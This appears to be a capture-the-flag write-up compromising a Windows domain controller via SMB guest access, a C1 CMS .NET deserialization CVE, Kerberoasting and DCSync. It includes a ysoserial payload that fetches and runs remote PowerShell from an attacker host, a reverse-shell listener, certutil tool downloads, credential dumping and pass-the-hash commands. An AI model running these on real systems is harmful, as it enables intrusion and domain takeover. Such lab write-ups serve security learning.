Intro#
This is the A1 Full Pwn challenge from the 2025 Duke CyberCTF. Labeled as a medium, it features the classic sequence of enumeration, web, privesc for full exploitation. The main difficulty of this box was in the web exploitation, which abuses a .NET deserialization. We weren’t able to find a way to leak the version of the webapp, so we had to try many different CVEs until one worked. Even with the CVE pinned down, getting the serial payload was tricky. We struggled with escaping quotes for quite a bit 😅.
We competed as the HackPack Club at NC State University, landing in third place and taking home $1,000.
Walkthrough#
Start#
First, an nmap scan. -sCV for default scripts & version enumeration, -p- for all ports
nmap TARGET_IP -sCV -p-
We get the following (truncated) output:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Neptune Starter Site
|_http-generator: C1 CMS Foundation - Free Open Source from Orckestra and https://github.com/Orckestra/C1-CMS-Foundation
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-23 19:53:44Z)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
We can easily tell that this is a Windows machine, and a domain controller at that thanks to port 88 being open (necessary for domain controllers). the only non-standard port from the scan is port 80, running C1 CMS. Web exploitation is its own rabbit hole, so it’s best to check other lower-hanging fruit first.
SMB is open on port 445. Despite not having credentials, we can still try a null and/or guest login against the machine and try to access the file shares. We can do so with netexec:
netexec smb TARGET_IP -u guest -p doesnotmatter --shares
This command shows us that there is an open share called Employees. We can connect to it using any SMB client we like and find that there is a file called Access.docx. This file, however, is password protected. Thankfully, we can use office2john to create a hash out of this file and crack it with john:
office2john Access.docx > hash.txt
john hash.txt --wordlist=rockyou.txt
#OUTPUT
secreto (Access.docx)
With the password in hand, we can open the document and find login credentials for the CMS. The user is peter, with his password being C9HUZAQ6mht6Ax4r
Web#
Logging into the CMS doesn’t seem to get us anything crazy. The CMS is a real piece of software (that is, not made specifically for a CTF), so poking around likely isn’t the way to go. Googling “C1 CMS CVE” comes up with a few vulnerabilities. One in particular though seems to have information readily available online with a proof of concept (CVE-2019–18211). Googling that CVE number brings this blog post, where the author details the step-by-step guide at the bottom.
- Create a deserialization payload using
ysoserial.exe(not the Java version!) This will call out back to a webserver and run a script on there to keep the payload size small.
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -c 'iwr -useb http://attackerip:PORT/rev.ps1 | iex'" -o base64
- Create a POST request in BurpSuite to the
/Composite/services/Tree/TreeServices.asmxendpoint with our payload in the body (more details and explanation on the CVE in the blog post) - Create a
netcatlistener for our shell:
rlwrap -cAr nc -lnvp 1248 # Using rlwrap for a better reverse shell
- Host a webserver with our reverse shell payload of choice
- Send the request
Doing all of that will net us a shell on port 1248. Running whoami reveals that we are a domain user named web.
Privesc#
web’s credentials are still unknown, but because we have an interactive session as them thanks to the reverse shell, we are able to query the domain. This allows us to run a myriad of tools, namely SharpHound. SharpHound will scan the domain and reveal any insecure relationships between two nodes (a user, computer, etc). We can then import this information into BloodHound to analyze it.
The most common low-hanging fruit in Active Directory environment is Kerberoasting. Even in 2025, people will still set weak passwords for privileged accounts. Rubeus easily allows us to extract the hashes of vulnerable users, in this case GFisher (as revealed by BloodHound). GFisher is particularly interesting as they have permission to DCSync, allowing them to replicate a domain controller including its database with every single password hash. This is effectively equivalent to domain admin.
We can grab their hash with the following commands from our reverse shell:
# Download Rubeus onto the box
certutil.exe -urlcache -f http://attackerip:PORT/Rubeus.exe Rubeus.exe
# Execute
.\Rubeus kerberoast /outfile:hash.txt
# Read contents (to copy-paste out)
cat hash.txt
We can easily crack this hash using hashcat (or john):
hashcat hash.txt rockyou.txt
This grants us the password of GFisher: bucknell1. We can then use netexec to dump all the hashes of the domain, including Administrator’s:
netexec smb TARGET_IP -u GFisher -p bucknell1 --ntds --user Administrator
With Administrator’s NTLM hash in hand (49bdc2aff4e2db3a33162ee3630dee81), we can log into the box and get our flags:
# Self-promo to my tool, Devious-WinRM :)
# https://github.com/1upbyte/devious-winrm
devious-winrm TARGET_IP -u Administrator -H 49bdc2aff4e2db3a33162ee3630dee81
# Root flag
PS> cat C:\Users\Administrator\Desktop\root.txt
# Finding the user flag was a bit annoying, but this did the trick:
PS> gci -r C:\Users
PS> cat C:\Users\Public\user.txt
Conclusion#
We’re done! This challenge was quite fun, but I wish the privesc’s difficulty had matched that of the foothold’s. Once on the box, the steps were a bit too clear and straightforward for my liking. To be fair, though, I don’t believe Active Directory is the strong suit of most CTF players, so maybe it was necessary to keep the challenge as a medium.
